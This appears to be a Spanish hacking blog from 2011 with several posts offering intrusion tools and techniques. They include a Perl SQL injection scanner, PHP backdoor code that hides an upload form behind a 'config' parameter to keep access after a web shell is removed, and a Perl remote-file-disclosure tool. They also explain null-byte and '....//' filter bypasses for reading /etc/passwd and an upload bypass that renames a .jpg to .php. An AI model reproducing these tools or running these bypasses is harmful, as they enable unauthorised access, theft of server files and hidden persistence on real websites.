sábado, 30 de abril de 2011

MySQL Inject Scanner v0.1

MySQL Inject Scanner v0.1









# Metalsoft - T34M #





..####....####...##......######.

.##......##..##..##........##...

..####...##.###..##........##...

.....##..##..##..##........##...

..####....#####..######..######.

................................







Wenas!! :D les traigo mi primera tool de SQLi Inject y claro, para la próxima versión pienso optimizar el código y agregarle mas funciones :P.

set

Asigna un valor a una variable

table (nombre de la tabla)
union (tipo de unuin para la injeccion)
(+,/**/,%20)
column (Columna donde se injectara el code)
examples set table users
set union /**/
set column 2 << La columna de Injeccion

show

Visualiza el campo seleccionado

tables [Visualiza las tablas]
columns [Visualiza las columnas de la tabla seleccionada]
data [Visualiza los datos de los campos]

examples show tables
show columns
show data username,passwd

info Muestra la informacion de la Injeccion

help Consulta los comandos soportados

clear Limpia la Pantalla

exit Salir

Aqui un ejemplo de uso:






Modo de Uso: perl sql.pl http://web.com?vuln=




show tables

set table table tbsys000_login



show data user_login,password_login







Download <-- Tool en txt

Desde Linux
wget http://banzok.webcindario.com/sql.txt -O sql.pl

sábado, 16 de abril de 2011

Puertas Traseras (Backdoor's)

Esta Herramienta que acabo de hacer nos permite backdorizar un archivo común en php y añadirle código ofuscado
para cuando queramos utilizarlo solo le agregamos unos parámetros al archivo
Para ello simplemente se edita el archivo



Al contacto con el archivo se ve muy normal y común
pero si agregamos los parámetros correspondientes de nuestro backtorizado.
en este caso lo hice con un comprobante,
una vez autorizados me bota el upload correspondiente




Si pregunta para que es esto pero no creo xP, es por si nos borran la webshell ya que los administradores revisan cual fue el ultimo archivo creado, y como resulta sospechoso borran la webshell


Simple Backdoor Upload


<----- Inicio Php ------>


if (isset($_GET['config']))
{
    echo '

BakckDoor by b4nz0k

Seleccione el Archivo
'; if (isset($_FILES['archivo'])) { $ar=$_FILES['archivo']['name']; copy($_FILES['archivo']['tmp_name'],$_FILES['archivo']['name']); echo '

Archivo Subido en '.$ar.'

'; } } <----- End Php ------>

jueves, 14 de abril de 2011

Bypass Filtros extensiones (RFD, LFI)

Estaba con un amigo juackeando una web nada en particular, pero me di cuenta de algo...
Cuando el archivo elegía los archivos a incluir , era normal..., parecía bien filtrado el archivo.



Despues me puse a pensar como podria estar codeado el sourse, y llegue a la conclusión de que muchos programadores aceptan determinadas extensiones.

El Sourse no Filtrado Correctamente

#łł Visualizar Archivo łł#

@?php
$permitidas[0]='doc';
$permitidas[1]='DOC';
$permitidas[2]='pdf';
$permitidas[3]='PDF';
$permitidas[4]='docx';
$permitidas[5]='DOCX';
$permitidas[6]='rar';
$permitidas[7]='RAR';
$permitidas[8]='zip';
$permitidas[9]='ZIP';
$permitidas[10]='mpg';
$permitidas[11]='xls';
$permitidas[12]='XLS';
$permitidas[13]='pps';
$file=$_GET['archivo'];
$flag=0;
for($i=0;$i<count($permitidas);$i++)
if(substr($file, -3)==$permitidas[$i])
$flag=1; //print $file;
if($flag)
{
$nombre=explode("/",$file);
$nombrear=$nombre[count($nombre)-1];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-type: application/octet-stream\n");
header("Content-Disposition: attachment; filename=\"".$nombrear."\"\n");
header("Content-length: " . filesize($file) . "\n");
$fp=fopen("$file", "r");
fpassthru($fp);
}
?@

Con el Código llegamos a la conclusión de que el programador prepara un array para guardar todas las extensiones y usa un blucle "For" y un condicional "IF" para comprobar si el archivo seleccionado es igual al array que serian las extensiones permitidas.

Aqui el Bypass



Bien ,llegando a la conclusión de que incluimos el archivo /etc/passwd no tiene la extensión del array , así que le agregamos un "carácter nulo" en "hexadecimal" con la "extensión permitida" para consultar que seleccione el archivo e indicando que la extensión sea una de las permitidas.



Explotación



Espero que les halla servido este peque bypass ^<^.

viernes, 8 de abril de 2011

MetalSoft Source Discourse (RFD) V1.0




Source Discourse Perl v1.0


EsTa es una Simple tool que nos muestra el source de algún archivo Y podemos Guardar y visualizar los archivos del servidor con dicha vulnerabilidad

Modo de uso:
perl rfd.pl http://web.com/path/archivo.php?vuln=


ver archivo.php


Visualizamos el archivo de Configuración
ver ../../../archivo.php



Nos Imprime en pantalla el source del fichero seleccionado






#!/usr/bin/perl

#Gretz: xDarkSton3x, Fail.root, R4f4, r007
#c0d3d: R 0 0 t - M
# # M e t a l S o f t - T 3 4 M
#


use LWP::Simple;
$path = $ARGV[0];
if(!$ARGV[0])
{
print q(

        ##########################
--- Å‚ MetalSoft Team Å‚ ---

:::==== :::===== :::====
::: === ::: ::: ===
======= ====== === ===
=== === === === ===
=== === === =======

% Coded by R 0 0 t - M %
Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚

Modo de Uso:

RFD.pl http://web.com/path/archivo.php?vuln=


);
}
else {

if ($path !~ /http/) { $web="http://".$path; }
else { $web=$path; }

$host=&resolver_host($web);
print q(
####### --- ł MetalSoft Team ł --- Cargando Session...
);
sleep(2);
print "[*] Presione help para ver los comandos Disponibles\n";
print "[*] Session Iniciada\n\n";

inicio: print "\nMetalSoft".'@'."$host :[*] "; $comando=@STDIN@; chop($comando);
@comand = &control_comando($comando);
$comando1 = @comand[0];
$comando2 = @comand[1];
if (exists(&$comando1)) {
&$comando1($web,$comando2); }

else { print "[*] Comando No Soportado"; }
########## - S u b R u t i n a s #############
sub control_comando{
@control=split(/ /,$comando);
return @control; }

sub resolver_host {
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$final = "@var2[0]"; return $final; }

sub exit {
print "\n#łł Cerrando Session... łł#\n\n";
sleep(1);
print "\n"; exit; }

sub ver {
print "\n#łł Visualizar Archivo łł#\n\n";

getprint($web . $comando2 ); goto inicio; }

sub guardar {
print "\n#łł Guardar Archivo łł#\n\n";
print "\n[*] Nombre del Archivo a Guardar : ";
$nombre=@STDIN@; chop($nombre);
getstore($web . $comando2 ,$nombre); } goto inicio; }

sub help {
print q(
Comandos Soportados

ver ([*] ver archivo.php)
guardar
([*] guardar archivo.php)
clear
(Limpia la Pantalla)
pwd (Consultar El Directorio Actual)
help (Consultar los comandos de la Session)
exit (Salir de la Session)
); goto inicio; }

sub clear {
system ("clear"); system ("cls"); goto inicio; }
#En esta Parte hice un verdadero Desmadre :S

sub pwd{
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$sacado=shift(@var2);
$sacado2=pop(@var2);
print "\nPath [*] /";
foreach $i (@var2) { print "$i/"; }
print "\n";
@var3=split(/\?/,$sacado2);
$sacado3=shift(@var3);
print "File [*] $sacado3\n"; }



Recuerden los @ en STDIN ^^

Descarga en TXT << Por si algún error esta el txt ^^.

martes, 5 de abril de 2011

Bypass Filtros str_replace (LFI, RFD)

Explorando por la net me encontré un código de descarga filtrado para que el usuario no baje información sensible, pero no esta tan bien filtrado.

La Primera descarga pense que el archivo estaba filtrado correctamente.




@?

$file = $_GET['f'];
$file = str_replace( "../", "", $file); #- Aquí nuestro filtro que remplaza
$path="./down"; # cuando queremos subir un directorio
$url = $path."/".$file;
header ("Content-Disposition: attachment; filename=".$file." ");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($url));
?@
-------------------------------------------


El codigo nos prohíbe subir directorios con "../" ,
pero que pasa si lo cambiamos por
"....//" ?



Espero que este peque bypass les sirva de algo ^^.

domingo, 3 de abril de 2011

Bypass Uploader

Un Upload no es una vulnerabilidad, pero lo considero un gran error del Administrador.

Porque?
un usuario con acceso a un upload mal filtrado puede
fácilmente subir un archivo malicioso al servidor perjudicando ala web,
o en casos graves a todo el Servidor.

Empezamos codeando nuestro Uploader


upload.php


@form action="subearchivo.php" method="post" enctype="multipart/form-data"@

Campo de tipo texto:@br@

@input@@ type="text" name="cadenatexto" size="20" maxlength="100"@@br@
@input@@ type="hidden" name="MAX_FILE_SIZE" value="100000"@@br@

Subir Archivo:@br@

@input@> name="userfile" type="file"@@br@
@input@>type="submit" value="Enviar"@@br@
<@/form@>

----------------------------------------------------------
subearchivo.php

@? //tomo el valor de un elemento de tipo texto del formulario
$cadenatexto = $_POST["cadenatexto"];
echo "Escribió en el campo de texto: " . $cadenatexto . "<@br@><@br@>";
//datos del arhivo $nombre_archivo = $HTTP_POST_FILES['userfile']['name'];
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];
//compruebo si las características del archivo son las correctas
if (!((strpos($tipo_archivo, "gif") || strpos($tipo_archivo, "jpeg")) && ($tamano_archivo < 100000)))
{
//Imprime en Pantalla
echo "La extensión o el tamaño de los archivos no es correcta. <@br@><@br@>Se permiten archivos .gif o .jpg
se permiten archivos de 100 Kb máximo.";

}else{
//Si se sube el archivo con éxito
if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo))

{
//Imprime en Pantalla
echo "El archivo ha sido cargado correctamente.";
}

//al contrario
else
{
//Imprime en Pantalla
echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";
} }
?@
Recuerden quitar los "@" .


Analizando el uploader nos damos cuenta que el archivo filtra el tipo de archivo permitido que seria "gif" y "jpeg".


Como lograr subir algun archivo de otra extensión si esta filtrando las extinciones permitidas?




Transacciones HTTP


Una transacción HTTP está formada por un encabezado seguido, opcionalmente, por una línea en blanco y algún dato. El encabezado especificará cosas como la acción requerida del servidor, o el tipo de dato retornado, o el código de estado.


Para poder bypassear el uploader tenemos que controlar las cabeceras para cambiar la información al final.


Para eso Usare un Add-ons de Mozilla (Live HTTP Headers) para modificar las cabeceras al subir un archivo al servidor. Cuando lo Tengamos se auto-capturaran las cabeceras de las peticiones HTTP, una vez terminada la captura podemos Repetir las peticiones para modificarlas.

Herramientas > Live HTTP Headers




Una vez dentro de la edición de las cabeceras, podremos modificarlas.



Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.jpg"
°
Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.php"


Aquí nos muestra la información del formulario que es el nombre del input del upload y el nombre del archivo , modificamos filename para renombrar el archivo.



Una vez subido el archivo hay que averiguar donde esta alojado el archivo y acceder a el